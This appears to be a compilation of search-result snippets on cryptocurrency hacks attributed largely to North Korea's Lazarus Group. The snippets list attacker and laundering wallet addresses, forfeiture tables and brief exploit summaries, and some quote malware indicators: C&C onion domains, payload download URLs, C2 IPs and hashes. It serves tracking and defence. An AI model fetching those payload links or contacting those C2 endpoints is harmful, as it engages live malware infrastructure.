BTC. Attacker’s ETH address: 0xb0606f433496bf66338b8ad6b6d51fc4d84a44cd Attacker’s BTC address: bc1qw5g8lw4kzltpdcraehy2dt6dqda8080xd6vhl4kg4wwsypwerg9s3x6pvk Funds still remain in the attacker’s addresses,…","…The stolen ETH, amounting to approximately 9,109 ETH, was then transferred to Ethereum address 0xb0606f433496bf66338b8ad6b6d51fc4d84a44cd (0xb0606f) and to Ethereum address 0x3089df0e2349faea1c8ec4a08593c137da10fe2d (0x3089df).…","…0x3d655889d197125fb90dcb72e4a287a8410ed1b9 HECO Bridge address: 0xa929022c9107643515f5c777ce9a910f0d1e490c HTX hot wallet 1 (ETH): 0xb9f775179bcc7fcf4534700a48f09c590e390ead HTX hot wallet 2 (other assets): 0x9281035df6f00557c0285d7df21d323c2e2f99ad HTX attacker 1 (ETH):…","…so must the tools investigators rely on. Addresses identified in the FBI release: 0x94f1b9b64e2932f6a2db338f616844400cd58e8a 0xba36735021a9ccd7582ebc7f70164794154ff30e 0xbda83686c90314cfbaaeb18db46723d83fdf0c83 0x7d84d78bb9b6044a45fa08b7fe109f2c8648ab4e…","…identified in the FBI release: 0x94f1b9b64e2932f6a2db338f616844400cd58e8a 0xba36735021a9ccd7582ebc7f70164794154ff30e 0xbda83686c90314cfbaaeb18db46723d83fdf0c83 0x7d84d78bb9b6044a45fa08b7fe109f2c8648ab4e 0xff29a52a538f1591235656f71135c24019bf82e5…","…the exact attack vector. Modified Code Listing The attacker’s malicious contract address in this breach has been traced to: 0xbdd077f651ebe7f7b3ce16fe5f2b025be2969516 0xbdd077f651ebe7f7b3ce16fe5f2b025be2969516 { copied = false })\" class=\"absolute top-2 right-3 size-7 copy-code-button\"> The attack…","…enter or click to view image in full size The malicious contract address used by the attacker in this hack has been identified as: 0xbdd077f651ebe7f7b3ce16fe5f2b025be2969516 The analysis of the “_app-52c9031bfa03da47.js” JavaScript code is as follows: Press enter or click to view image in full size…","…and Transactions Attacker EOAs Ethereum 0xAa843eD65C1f061F111B5289169731351c5e57C1 0xD3FEEd5DA83D8e8c449d6CB96ff1eb06ED1cF6C7 0xbDdAE987FEe930910fCC5aa403D5688fB440561B 0x0FE3b6908318B1F630daa5B31B49a15fC5F6B674 Attacker Account Solana HkGz4KmoZ7Zmk7HN6ndJ31UJ1qZ2qgwQxgVqQwovpZES…","…receiving addresses . Attacker EOAs on Ethereum: 0xD3FEEd5DA83D8e8c449d6CB96ff1eb06ED1cF6C7 0xAa843eD65C1f061F111B5289169731351c5e57C1 0xbDdAE987FEe930910fCC5aa403D5688fB440561B 0x0FE3b6908318B1F630daa5B31B49a15fC5F6B674 Three weeks of preparation.…","…by Bondly co-founder Harry Liu highlights the theft addresses on Ethereum, BSC, and Polygon. Ethereum, BSC, and Polygon theft address 0xc433d50dd0614c81ee314289ec82aa63710d25e8 Laundering July 2021 Tornado Cash deposits — BSC Through a series of transactions, 48 X 100 BNB was deposited to Tornado Cash by…","…0x8d11aeac74267dd5c56d371bf4ae1afa174c2d49 (Hold all hacked assets) 0x5d3919F12bCc35c26Eee5F8226A9bee90c257Ccc 0xcbb24a6b4dafaaa1a759a2f413ea0eb6ae1455cc 0xeba786c9517a4823a5cfd9c72e4e80bf8168129b 0xbb6a6006eb71205e977eceb19fcad1c8d631c787 0x1f4c1c2e610f089d6914c4448e6f21cb0db3adef…","…ETH 1 ($10.4M): 0x8bf8cd7F001D0584F98F53a3d82eD0bA498cC3dE ETH 2 ($2.3M): 0x483D88278Cbc0C9105c4807d558E06782AEFf584 ETH 3 ($5.3M): 0xCC1AE485b617c59a7c577C02cd07078a2bcCE454 TRON ($11.5M): TPFUjxQzG88Vwynrpj2W61ZAkQ9W2QYgAQ BSC ($6.3M): 0x6953704e753C6FD70Eb6B083313089e4FC258A20 XRP ($6M):…","…transferring BSC ProxyAdmin ownership to attacker wallet 0x6Aa22CB8 . The attacker deployed a malicious ERC-20 implementation ( 0xd18cdc9f07733ca207e9977879c51e22e9b57fcb ) with an unrestricted mint() function and upgraded the BSC H token proxy to it.…","…remaining holders. Relevant Addresses and Transactions Attacker Wallets (ETH) ETH attacker (received 141M H from bridge drain): 0xD1ea823D421E0c829ee11F772AF487fd352678EA Aggregation and staging wallet: 0x9e995952eF7665B243eeEF0693acD7FEd7150504 Attacker Wallets (BSC) BSC attacker (minted 122B+ H):…","…the attacker replaced the implementation of a Hyperlane warp-route proxy and moved about 141.18 million $H to 0xd1ea823d421e0c829ee11f772af487fd352678ea.…","…devices and draining funds. Relevant Address and Transactions Attacker EOAs Ethereum 0xAa843eD65C1f061F111B5289169731351c5e57C1 0xD3FEEd5DA83D8e8c449d6CB96ff1eb06ED1cF6C7 0xbDdAE987FEe930910fCC5aa403D5688fB440561B 0x0FE3b6908318B1F630daa5B31B49a15fC5F6B674 Attacker Account Solana…","…On Ethereum, the attacker consolidated stolen funds into ETH across four receiving addresses . Attacker EOAs on Ethereum: 0xD3FEEd5DA83D8e8c449d6CB96ff1eb06ED1cF6C7 0xAa843eD65C1f061F111B5289169731351c5e57C1 0xbDdAE987FEe930910fCC5aa403D5688fB440561B 0x0FE3b6908318B1F630daa5B31B49a15fC5F6B674 Three…","…The trap was set. Malicious Proxy Contract: 0xD4CA224a176A59ed1a346FA86C3e921e01659E73 The Main Event: The upgrading spree began.…","…contract. Compromised Admin Address: 0x40E4172e595Fb5B3076dC6d0A1a24d885b881Afb DeltaPrime’s Compromised Proxy Admin Address: 0xd550cfeA0BFFDC81B2dEe7B6d915D9D9e31d83A2 This nefarious upgrade allowed the attacker to artificially inflate their own deposit amounts across all pools.…","…0x2B8C610F3fC6F883817637d15514293565C3d08A DeltaPrimeBitcoin: 0x5CdE36c23f0909960BA4D6E8713257C6191f8C35 DaiPoolTUP: 0xd5E8f691756c3d7b86FD8A89A06497D38D362540 In a dizzying display of greed (or thoroughness, depending on your perspective), a total of 57 withdrawals were executed.…","…SOL took a different route : Bridged to Ethereum via Chainflip, fragmenting the trail across platforms. Chainflip destination address: 0xd91a122b585bc588c9a48d0995ee0d7b4f8ab7dd On Ethereum, the attacker consolidated stolen funds into ETH across four receiving addresses . Attacker EOAs on Ethereum:…","…to CEXs . Attacker’s main addresses: ETH 0x040a96659fd7118259ebcd547771f6ecb9580d17 0x6d2e8a20b8afa88d92406d315b67822c01e53c38 0xde374094C837D192B61972172740BDAfc4eE16E0 TRON TKSitnfTLVMRbJsF1i2UH5hNUeHLDrXDiY TDoNAZHa7WxarUAFbQUhiijTGtd7EpbzRh TJF7mdFxDuHB4tb9hoyR4SCpKxk7gr23ym According to…","…few days after 0xdef5 which received $4.3M from the EasyFi and Bondly hacks earlier in the year received 700 ETH from Tornado Cash. 0xdef57ccb20b1f2eaee0c64aab3280350f84cb0fc Another address 0x1398 received 4500 ETH from Tornado Cash which previously had received $15.2M from the EasyFi and Bondly hacks earlier…","…(Hold all hacked assets) 0x5d3919F12bCc35c26Eee5F8226A9bee90c257Ccc 0xcbb24a6b4dafaaa1a759a2f413ea0eb6ae1455cc 0xeba786c9517a4823a5cfd9c72e4e80bf8168129b 0xbb6a6006eb71205e977eceb19fcad1c8d631c787 0x1f4c1c2e610f089d6914c4448e6f21cb0db3adef (Attack Tx executor)…","…call data means the multisig contract is executing a function (identified by the selector 0x804e1f0a) on the phishing contract address 0xef279c2ab14960aa319008cbea384b9f8ac35fc6 , with this address as the parameter. This delegate call changed the multisig wallet’s implementation to the malicious contract,…","…RugDocIO , BeosinAlert The Harmony Bridge was secured by a 2 of 5 multisig , of which the following addresses were compromised: 0xf845A7ee8477AD1FB4446651E548901a2635A915 0x812d8622C6F3c45959439e7ede3C580dA06f8f25 The attack vector which allowed the hacker to take control of these addresses remains…","…summed $12.5M in losses from HTX, made up of: 1,240 ETH ($2.5M), 7.3M USDT, 1.78M USDC, and 62.2K $LINK ($870k). HECO attacker address: 0xfc146d1caf6ba1d1ce6dcb5b35dcbf895f50b0c4 Compromised operator address: 0x3d655889d197125fb90dcb72e4a287a8410ed1b9 HECO Bridge address:…","…https://blockchain.info/address/12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw https://blockchain.info/address/115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn C&C centers gx7ekbenv2riucmf.onion 57g7spgrzlojinas.onion xxlvbrloxvriy2c5.onion 76jdd2ir2embyv47.onion…","…xwtyd4y3gc2t9ufk6pwz2ga4ge 3P9WebHkiDxCi8LDXiRQp8atNEagcQeRA3 37fnBxofDeph2fpBZxZKypNkwdXAt9nT6F 185NxhFAmKZrdwn9rVga3kqbvDP4FkbTNw 12283Cq1pJ3f1gXwqi6K3bRf5LZb8Bkm6g The FBI, in conjunction with the Cybersecurity and Infrastructure Security Agency (CISA) and the U.S.…","…hard coded into the malware. https://blockchain.info/address/13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94 https://blockchain.info/address/12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw https://blockchain.info/address/115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn C&C centers gx7ekbenv2riucmf.onion…","…RE information by cyg_x1!! Bitcoin ransom addresses 3 addresses hard coded into the malware. https://blockchain.info/address/13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94 https://blockchain.info/address/12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw https://blockchain.info/address/115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn…","…asset service providers. The remaining bitcoin subsequently moved to the following addresses: 1BK769SseNefb6fe9QuFEi8W4KGbtP8gi3 15FcqYRbwh2JsRUyBjvZ4jJ2XAD3pycGch 1HwSof6jnbMFpfrRRa2jvydYdopkkGB4Sn 15emeZ7buVegqhYh9PekH7cwFEJcCeVNpS 3MSbCJCYtx5sj1nkzD4AMEhhvvviXBc8XJ 17Z79rZpkk8kUiJseg5aELwYKa…","…- https://www.blockchain.com/ko/btc/address/15vsH2T3ss9owzuaGnN7ee155tEwS4igFg [그림 12] 비트코인 포럼에 등록된 핫메일 주소와 연결된 계정 2018년 05월 공개된 Cisco Talos 팀의 ' NavRAT Uses US-North Korea Summit As Decoy For…","…/riln.php https://drive.google.com/uc?export=download&id=116azn_9buov3mksorbpk8_4zivvnbhzn https://drive.google.com/uc?export=download&id=15xkvt3twcqjercuhsuandcigmvvxsfqr FQDN univercity.library.boxathome.net update.nstlog.store Tags: APT AutoIT backdoor chm Decoy EndRAT 미끼문서 백도어 바로가기 GitHub…","…/riln.php https://drive.google.com/uc?export=download&id=116azn_9buov3mksorbpk8_4zivvnbhzn https://drive.google.com/uc?export=download&id=15xkvt3twcqjercuhsuandcigmvvxsfqr FQDN univercity.library.boxathome.net update.nstlog.store Tags: APT AutoIT…","…with some of the virtual asset service providers. The remaining bitcoin subsequently moved to the following addresses: 1BK769SseNefb6fe9QuFEi8W4KGbtP8gi3 15FcqYRbwh2JsRUyBjvZ4jJ2XAD3pycGch 1HwSof6jnbMFpfrRRa2jvydYdopkkGB4Sn 15emeZ7buVegqhYh9PekH7cwFEJcCeVNpS 3MSbCJCYtx5sj1nkzD4AMEhhvv…","…stolen funds are: 0x460ab1c34e4388704c5e56e18D904Ed117D077CC 1Gf8U7UQEJvMXW5k3jtgFATWUmQXVyHkJt 1MQC6C4FVX8RhmWESWsazEb5dyDBhxH9he 1DjyE7WUCz9DLabw5EWAuJVpUzXfN4evta Group-IB analyzed the transactions associated with the BTC addresses controlled by Lazarus and discovered that the adversaries most…","…of virtual asset services providers since 2017 was sent to a virtual currency address used by Sim and his OTC network to pay for goods: 1G3Qj4Y4trA8S64zHFsaD5GtiSwX19qwFv. Wu and Cheng were reported to be actively converting DPRK-stolen cryptocurrency to fiat currency as late as October 2023.…","…from the Lazarus BTC Changer samples used by the attackers to receive stolen funds are: 0x460ab1c34e4388704c5e56e18D904Ed117D077CC 1Gf8U7UQEJvMXW5k3jtgFATWUmQXVyHkJt 1MQC6C4FVX8RhmWESWsazEb5dyDBhxH9he 1DjyE7WUCz9DLabw5EWAuJVpUzXfN4evta Group-IB analyzed the transactions associated with the BTC…","…attacker from further selling PRQ tokens and further protect users funds. Theft address 0x044bf69ae74fcd8d1fc11da28adbad82bbb42351 1GVjvbVEYPkjCYCwJkC29t5pBWAQQd1g32 Source: https://t.me/coinmetroupdates/601 On-chain aspects Funds from thefts such as CoinMetro, CoinBerry, Unibright, and…","…to one of supposed CoinPayments.net addresses (3A6BbxFAYGj4zgcbBUatLeVxvqSDV4nQfV) and a large part of the funds was sent to 1HDMJ42anvW97ib2awZkzSQsCjR7uxLD79, which was one of source addresses during the main withdrawal of the stolen funds. The address 1Gf8U7UQEJvMXW5k3jtgFATWUmQXVyHkJt used in…","…bitcoin subsequently moved to the following addresses: 1BK769SseNefb6fe9QuFEi8W4KGbtP8gi3 15FcqYRbwh2JsRUyBjvZ4jJ2XAD3pycGch 1HwSof6jnbMFpfrRRa2jvydYdopkkGB4Sn 15emeZ7buVegqhYh9PekH7cwFEJcCeVNpS 3MSbCJCYtx5sj1nkzD4AMEhhvvviXBc8XJ 17Z79rZpkk8kUiJseg5aELwYKaoLnirMUn bc1qp2vvntdedxw4xwtyd4y3gc…","…revealed a software bug allowed 500 users to withdraw 120 BTC in 2020. Theft address 0xA06957c9C8871ff248326A1DA552213AB26A11AE 1KcTk7kJMjYaCV3FXo5bzpjaZs2aK18ntz Unibright Incident Summary ON September 11, 2020 the Unbright team noticed unauthorized transfers of $400K from multiple wallets…","…these three transfers from the addresses used by the attackers, there was a fourth BTC address, which was the source in transaction a929c7 1KYjujKXcXw9mPrCr5HadY2DWCmo6aMrY9 .…","…used by the attackers to receive stolen funds are: 0x460ab1c34e4388704c5e56e18D904Ed117D077CC 1Gf8U7UQEJvMXW5k3jtgFATWUmQXVyHkJt 1MQC6C4FVX8RhmWESWsazEb5dyDBhxH9he 1DjyE7WUCz9DLabw5EWAuJVpUzXfN4evta Group-IB analyzed the transactions associated with the BTC addresses controlled by Lazarus and…","…the 'mspaint.exe' file exists in the 'SysWOW64' directory, the malware allocates virtual memory and writes data starting from the value '325869FF25798BC277BF22DEB1DEB967h' in the 'xmmword_403018' array, writing a total of 0xDA000 (892,928) bytes. It then performs an XOR operation with the data in the…","…qitN9tYNmq3wYanwg3MitFB5TZCjWu 3AAUBbKJorvNhEUFhKnep9YTwmZECxE4Nk 3PjNaSeP8GzLjGeu51JR19Q2Lu8W2Te9oc 3NbdrezMzAVVfXv5MTQJn4hWqKhYCTCJoB 34VXKa5upLWVYMXmgid6bFM4BaQXHxSUoL VMConnect Campaign Unveiled: Lazarus Group is the Culprit In early August, researchers uncovered the VMConnect campaign, which…","…qitN9tYNmq3wYanwg3MitFB5TZCjWu 3AAUBbKJorvNhEUFhKnep9YTwmZECxE4Nk 3PjNaSeP8GzLjGeu51JR19Q2Lu8W2Te9oc 3NbdrezMzAVVfXv5MTQJn4hWqKhYCTCJoB 34VXKa5upLWVYMXmgid6bFM4BaQXHxSUoL The DPRK TraderTraitor-affiliated actors were responsible for several high-profile international cryptocurrency heists to include the…","…We found that all stolen funds were transferred to a single address ( 35dnPpcXMGEoWE1gerDoC5xS92SYCQ61y6 ) as a result of transaction a929c7 ( https://www.blockchain.com/btc/tx/a929c7d3b7ae58eb5b833460017016267f7ac66cbd16ad0 b4c4d4c9b3f50406a…","…On-chain aspects: The post-mortem blog post by Hugh Karp lists the theft addresses on Bitcoin and Ethereum. BTC theft address 3DZTKLmxo56JXFEeDoKU8C4Xc37ZpNqEZN ETH theft address 0xad6a4ace6dcc21c93ca9dbc8a21c7d3a726c1fb1 0x03e89f2e1ebcea5d94c1b530f638cea3950c2e2b…","…ssdeep 1536:4YGnCXIbO9KBQJELi6VA2l5+r1M6JBM4YQNVZ3MpJy5TU23MpJy5Tp:3eCYK5JEBXaM6Jq4p3MpJy5Tb3MpJy5T Entropy 4.871481 Antivirus Ahnlab Backdoor/OSX.Nukesped.79760 Antiy Trojan/Mac.NukeSped Avira…","…approximately 1,580 bitcoin from several cryptocurrency heists and are currently holding those funds in following bitcoin addresses: 3LU8wRu4ZnXP4UM8Yo6kkTiGHM9BubgyiG 39idqitN9tYNmq3wYanwg3MitFB5TZCjWu 3AAUBbKJorvNhEUFhKnep9YTwmZECxE4Nk 3PjNaSeP8GzLjGeu51JR19Q2Lu8W2Te9oc 3NbdrezMzAVVfXv5MTQJn4hWqKhYCT…","…wRu4ZnXP4UM8Yo6kkTiGHM9BubgyiG 39idqitN9tYNmq3wYanwg3MitFB5TZCjWu 3AAUBbKJorvNhEUFhKnep9YTwmZECxE4Nk 3PjNaSeP8GzLjGeu51JR19Q2Lu8W2Te9oc 3NbdrezMzAVVfXv5MTQJn4hWqKhYCTCJoB 34VXKa5upLWVYMXmgid6bFM4BaQXHxSUoL VMConnect Campaign Unveiled: Lazarus Group is the Culprit In early August, researchers…","…wRu4ZnXP4UM8Yo6kkTiGHM9BubgyiG 39idqitN9tYNmq3wYanwg3MitFB5TZCjWu 3AAUBbKJorvNhEUFhKnep9YTwmZECxE4Nk 3PjNaSeP8GzLjGeu51JR19Q2Lu8W2Te9oc 3NbdrezMzAVVfXv5MTQJn4hWqKhYCTCJoB 34VXKa5upLWVYMXmgid6bFM4BaQXHxSUoL The DPRK TraderTraitor-affiliated actors were responsible for several high-profile international…","…bitcoin addresses: 3LU8wRu4ZnXP4UM8Yo6kkTiGHM9BubgyiG 39idqitN9tYNmq3wYanwg3MitFB5TZCjWu 3AAUBbKJorvNhEUFhKnep9YTwmZECxE4Nk 3PjNaSeP8GzLjGeu51JR19Q2Lu8W2Te9oc 3NbdrezMzAVVfXv5MTQJn4hWqKhYCTCJoB 34VXKa5upLWVYMXmgid6bFM4BaQXHxSUoL The DPRK TraderTraitor-affiliated actors were responsible for…","…39JyWrdbVdRqjzw9yyEjxNtTbTKcTPLdtdCgbz7C7Aq8 Attacker-controlled nonce accounts: CZRBcHAvXU6TzzjGuG4rT98UuTR7PBUeSGPZRDW5mfYW 48cV6Mw5Y5afT8ofukvtFaMtrsCohHhsv8MfbdW8agh3 In the days following the nonce setup, Drift executed a planned Security Council migration , replacing four of five signers and lowering…","…H7PiGqqUaanBovwKgEtreJbKmQe6dbq6VTrw6guy7ZgL Drift Vault JCNCMFXo5M5qwUPg2Utu1u6YWp3MbygxqBsBeXXJfrw Drift Vault State 5zpq7DvB6UdFFvpmBPspGPNfUGoBRRCE2HHg5u3gxcsN Drift V2 Program dRiftyHA39MWEi3m9aunc5MzRF1JYuBsbn6VPcn33UH Admin Update Transactions…","…With that, Drift's State account had a new owner . Attacker owned Drift's State account: 5zpq7DvB6UdFFvpmBPspGPNfUGoBRRCE2HHg5u3gxcsN In the same slot , whoever now controlled that key acted immediately.…","…New multisig member nonce account: 6UJbu9ut5VAsFYQFgPEa5xPfoyF5bB5oi4EknFPvu924 The multisig was seven days old.…","…running parallel campaigns through different supply chain attack surfaces. The GlassWorm campaign later rotated to a new wallet address ( 6YGcuyFRJKZtcaYCCFba9fScNUvPkGXodXE1mJiSzqDJ ) and new C2 IPs including 45.32.151.157 and 70.34.242.255 -- notably, the first of those IPs appears in our own C2 rotation timeline from…","The researcher reports that the Solana wallet of the Binance hacker began moving funds to a new Solana wallet, linking the new wallet, 7SDuVQ2S..., on Solscan with a capture of a transfer labelled as from a Binance exploiter wallet, and in a reply gives both addresses as the ones to watch. In other posts the same day he writes that North Korea went too far with this hack and that people were sending 'Lazarus Group' tokens to the new Binance hacker wallets. The FBI attributes the Binance theft to the North Korean actors it calls TraderTraitor (Justice Department release of 12 November 2026); that these two wallets hold its proceeds is the researcher's reading of the chain, not the FBI's or this site's. Read on 12 November 2026 with the reply.","…Polygon ($6.8m): 0x90fffbc09e9a5f6d035e92d25d67e244ef5e904f Tron ($2.55m): TBooefeY6FvGuyKfvp5yE1HmzhzvXnvA1P BTC ($1.4m): bc1q5uqpn0ha5llrvhcvkq3nfalp8fj7qe3rydcvmf In this game of cat and mouse, it seems the attackers have once again proven they're the Garfield of the crypto world- fat, sassy, and…","…cryptocurrency Tracking bitcoin addresses of DPRK's ransomware (2) 북한이 소유한 것으로 알려진 bc1q8xyt4jxhw7mgqpwd6qfdjyxgvjeuz57jxrvgk9 주소 추적에 대해 살펴본다. 박현재 2023년 04월 04일 12 분 소요 ※ 본 게시글의 암호화폐 주소 추적은…","…The funds were consolidated at the following address: bc1q9wk2jtnex6wxsmkmp66azearfh8cryvyrg6rnr.…","…bc1qc593a4d2hznk2ext3k2zmpdrqazlhhh80m4xas bc1qtnuzecpqaakj0dt855n24dv7u5pme7vyct2cf2 bc1qvjpgxa2g3nvyw2hnclptextllu9dr4vkew8jfp bc1qg0qygyv3qfp8cjyy99ch9vc9dp876vl8wys67u ‍ This is some text inside of a div block. Related posts BLOG June 21, 2023 TRM Talks Recap: The North Korea Threat…","…0x0a5984f86200415894821bfefc1c1de036dbf9e7 Main attaker address (TRON): TKK6d1YALy8HCSoCSWWd1ZJhyC9NPPx4wa Main attaker address (BTC): bc1qnpc7u2ha7ct9c458rrqsawylz9e9j6jvkvzttt Dispersal of tokens among many hacker addresses on Ethereum (labelled 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 11 , 12 , 13 , 14 , 15 ) which were…","…bc1q6w7qlaj3mfkgfrxwtvhw45cu86wew7xpjfqcmy bc1qc593a4d2hznk2ext3k2zmpdrqazlhhh80m4xas bc1qtnuzecpqaakj0dt855n24dv7u5pme7vyct2cf2 bc1qvjpgxa2g3nvyw2hnclptextllu9dr4vkew8jfp bc1qg0qygyv3qfp8cjyy99ch9vc9dp876vl8wys67u ‍ This is some text inside of a div block. Related posts BLOG June 21,…","…and the Bitcoin hot wallet lost 691 BTC. Attacker’s ETH address: 0xb0606f433496bf66338b8ad6b6d51fc4d84a44cd Attacker’s BTC address: bc1qw5g8lw4kzltpdcraehy2dt6dqda8080xd6vhl4kg4wwsypwerg9s3x6pvk Funds still remain in the attacker’s addresses, potentially offering some hope for a bounty settlement. Perhaps this is a good time to…","…BTC lot 17 (1,000.0 BTC) bc1qrg025e2pgx0rwya2kpgtj30972p64jt0hn6zyt BTC lot 18 (832.5 BTC) bc1qxg0l4p6xc50zuv9cl5f0l0wmaxjpg8wcy7s9ra BTC lot 19 (437.7 BTC) TDqSquXBgUCLYvYC4XZgrprLK589dkhSCf Binance's TRON hot wallet TG5iBMQPrDzJJAUM8GMVBf1hRaJ1wvzsGi First TRON…","…The operator posts base64-encoded C2 URLs as memos to wallet BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC , and the malware reads them via the public Solana RPC API -- no domain to sinkhole, no DNS to block, no infrastructure to seize.…","…CVT mint address: G84LEhbNMR1yYbHgHbnNYNSK8mpTKcazh5jcW5yMPQKo $501.19 That was the seed money for a $285 million theft.…","…0x0FE3b6908318B1F630daa5B31B49a15fC5F6B674 Attacker Account Solana HkGz4KmoZ7Zmk7HN6ndJ31UJ1qZ2qgwQxgVqQwovpZES H7PiGqqUaanBovwKgEtreJbKmQe6dbq6VTrw6guy7ZgL Drift Vault JCNCMFXo5M5qwUPg2Utu1u6YWp3MbygxqBsBeXXJfrw Drift Vault State 5zpq7DvB6UdFFvpmBPspGPNfUGoBRRCE2HHg5u3gxcsN…","…using a fake token (CVT), set up manipulated oracles under their control, and modified withdrawal limits. Using a second account ( HkGz4KmoZ7Zmk7HN6ndJ31UJ1qZ2qgwQxgVqQwovpZES ), the attacker began draining the vault by posting the fake CVT token as collateral and borrowing real assets against it.…","…Account Solana HkGz4KmoZ7Zmk7HN6ndJ31UJ1qZ2qgwQxgVqQwovpZES H7PiGqqUaanBovwKgEtreJbKmQe6dbq6VTrw6guy7ZgL Drift Vault JCNCMFXo5M5qwUPg2Utu1u6YWp3MbygxqBsBeXXJfrw Drift Vault State 5zpq7DvB6UdFFvpmBPspGPNfUGoBRRCE2HHg5u3gxcsN Drift V2 Program dRiftyHA39MWEi3m9aunc5MzRF1JYuBsbn6VPcn33UH…","…by Wu ZhuJing So urce : https://life.moyiza.kr/bizinfo/4372685?_gl=1*vbuu6y*_ga*MjEzMDk1Nzg2My4xNjY2ODI1MTM0*_ga_XYRM2KYN V S*MTY2NjgyNTEzNC4xLjAuMTY2NjgyNTEzNC42MC4wLjA Website of Dandong Hongshengan Clothing Co., Ltd. S/2023/171 397 / 487 23-02097 Source :…","…published list. Primary attacker receiving addresses, per Bitget : EVM: 0x770b10b273fC44Fe9197D6bF20F145c2e98463Ee XRP: rwNhefsz1UQEusxhCvHip3RANinWi4CTck ZEC: t1WgMdtND8NF7NDUuYmq8MpMj1NTCXkMDVG TRON: TBWNguTTgezw9dVorX441C6nDrZpRxYwKD For those who want to track the exploiter’s…","…addresses, per Bitget : EVM: 0x770b10b273fC44Fe9197D6bF20F145c2e98463Ee XRP: rwNhefsz1UQEusxhCvHip3RANinWi4CTck ZEC: t1WgMdtND8NF7NDUuYmq8MpMj1NTCXkMDVG TRON: TBWNguTTgezw9dVorX441C6nDrZpRxYwKD For those who want to track the exploiter’s main address, here is the Bitget Hacker on…","…Persistent Threat 38 (“APT38”) : Defendant Property Wallet Address USDT Value 1 TF3JRez3XpJJYDCJ4hPtA1BTyxRurYsHTd 267,002 2 TBABZTh7p3tZGMnMefQkjqZuuyQK4iBCkS 504,883 3 TFeDK4Wea8ciDLaUe5W2QRSw9WvSqzV4p2 794,636 4 TT8WVp65uEJM4xdAkx2hJerQX5moeZYUEw 90,408 5…","…($900k): 0x3B8F1131a20e131c195bdA6FDd6e9bE38935eB6d Polygon ($6.8m): 0x90fffbc09e9a5f6d035e92d25d67e244ef5e904f Tron ($2.55m): TBooefeY6FvGuyKfvp5yE1HmzhzvXnvA1P BTC ($1.4m): bc1q5uqpn0ha5llrvhcvkq3nfalp8fj7qe3rydcvmf In this game of cat and mouse, it seems the attackers have once again…","…XRP: rwNhefsz1UQEusxhCvHip3RANinWi4CTck ZEC: t1WgMdtND8NF7NDUuYmq8MpMj1NTCXkMDVG TRON: TBWNguTTgezw9dVorX441C6nDrZpRxYwKD For those who want to track the exploiter’s main address, here is the Bitget Hacker on Arkham The addresses were public.…","…on 30 Oct TKkH2vH6kyi2QKcMbqym53WMuvdd1xvw6K New TRX stash, 158.2M TRX at 10:20:18 on 30 Oct, sent to the payout wallet on 31 Oct TCBAz7itvtX5CjBzVMPQdrbwQLN63ao1fk New TRX stash, 120.0M TRX at 10:18:42 on 30 Oct, sent to the payout wallet on 31 Oct TJajtPqDqUGh1Sr1j8ugHoSXBVpaFLLHKT New TRX…","…0x6d2e8a20b8afa88d92406d315b67822c01e53c38 0xde374094C837D192B61972172740BDAfc4eE16E0 TRON TKSitnfTLVMRbJsF1i2UH5hNUeHLDrXDiY TDoNAZHa7WxarUAFbQUhiijTGtd7EpbzRh TJF7mdFxDuHB4tb9hoyR4SCpKxk7gr23ym According to ZachXBT the movement of funds on-chain (tracked in this dashboard ) have a strong…","…1 Filed 10/04/24 Page 12 of 19 13 Tron addresse s, namely : Address # Address 1 TQdNvhGKQtVKNhBSJ1xbisxiNxUCgPBzCM 2 TEGTuvMgEMcLP21GLa3XUCSsgZn4pbgggw 3 TWcfg4q4wH36J5R4Au8KnPFrxcrQd1YenP 4 TWXhVnNi4bUiii7g13YyWQuR1gacsp2mno 5 TF3JRez3XpJJYDCJ4hPtA1BTyxRurYsHTd ( Defendant…","…community as both the Lazarus Group and Advanced Persistent Threat 38 (“APT38”) : Defendant Property Wallet Address USDT Value 1 TF3JRez3XpJJYDCJ4hPtA1BTyxRurYsHTd 267,002 2 TBABZTh7p3tZGMnMefQkjqZuuyQK4iBCkS 504,883 3 TFeDK4Wea8ciDLaUe5W2QRSw9WvSqzV4p2 794,636 4…","…bc1qxg0l4p6xc50zuv9cl5f0l0wmaxjpg8wcy7s9ra BTC lot 19 (437.7 BTC) TDqSquXBgUCLYvYC4XZgrprLK589dkhSCf Binance's TRON hot wallet TG5iBMQPrDzJJAUM8GMVBf1hRaJ1wvzsGi First TRON receiver, 312.7M USDT frozen TSpe5HC3PRD2svJcr1YoGszhHk2mtkyZ8A First TRX stash, emptied 10:15-10:20 UTC on 30 Oct…","…0xde374094C837D192B61972172740BDAfc4eE16E0 TRON TKSitnfTLVMRbJsF1i2UH5hNUeHLDrXDiY TDoNAZHa7WxarUAFbQUhiijTGtd7EpbzRh TJF7mdFxDuHB4tb9hoyR4SCpKxk7gr23ym According to ZachXBT the movement of funds on-chain (tracked in this dashboard ) have a strong correlation with patterns associated with…","…the three chains, respectively). Main attacker address (ETH): 0x0a5984f86200415894821bfefc1c1de036dbf9e7 Main attaker address (TRON): TKK6d1YALy8HCSoCSWWd1ZJhyC9NPPx4wa Main attaker address (BTC): bc1qnpc7u2ha7ct9c458rrqsawylz9e9j6jvkvzttt Dispersal of tokens among many hacker addresses on Ethereum…","…First TRON receiver, 312.7M USDT frozen TSpe5HC3PRD2svJcr1YoGszhHk2mtkyZ8A First TRX stash, emptied 10:15-10:20 UTC on 30 Oct TKkH2vH6kyi2QKcMbqym53WMuvdd1xvw6K New TRX stash, 158.2M TRX at 10:20:18 on 30 Oct, sent to the payout wallet on 31 Oct TCBAz7itvtX5CjBzVMPQdrbwQLN63ao1fk New TRX…","…0x6d2e8a20b8afa88d92406d315b67822c01e53c38 0xde374094C837D192B61972172740BDAfc4eE16E0 TRON TKSitnfTLVMRbJsF1i2UH5hNUeHLDrXDiY TDoNAZHa7WxarUAFbQUhiijTGtd7EpbzRh TJF7mdFxDuHB4tb9hoyR4SCpKxk7gr23ym According to ZachXBT the movement of funds on-chain (tracked…","…addresses were frozen : Defendant Property # Address Approx. Value 4 TT8WVp65uEJM4xdAkx2hJerQX5moeZYUEw 90,408 USDT 5 TN6iW22qfXM2c6L8amCvcGx3WcvTShvbMP 37,464 USDT Wave 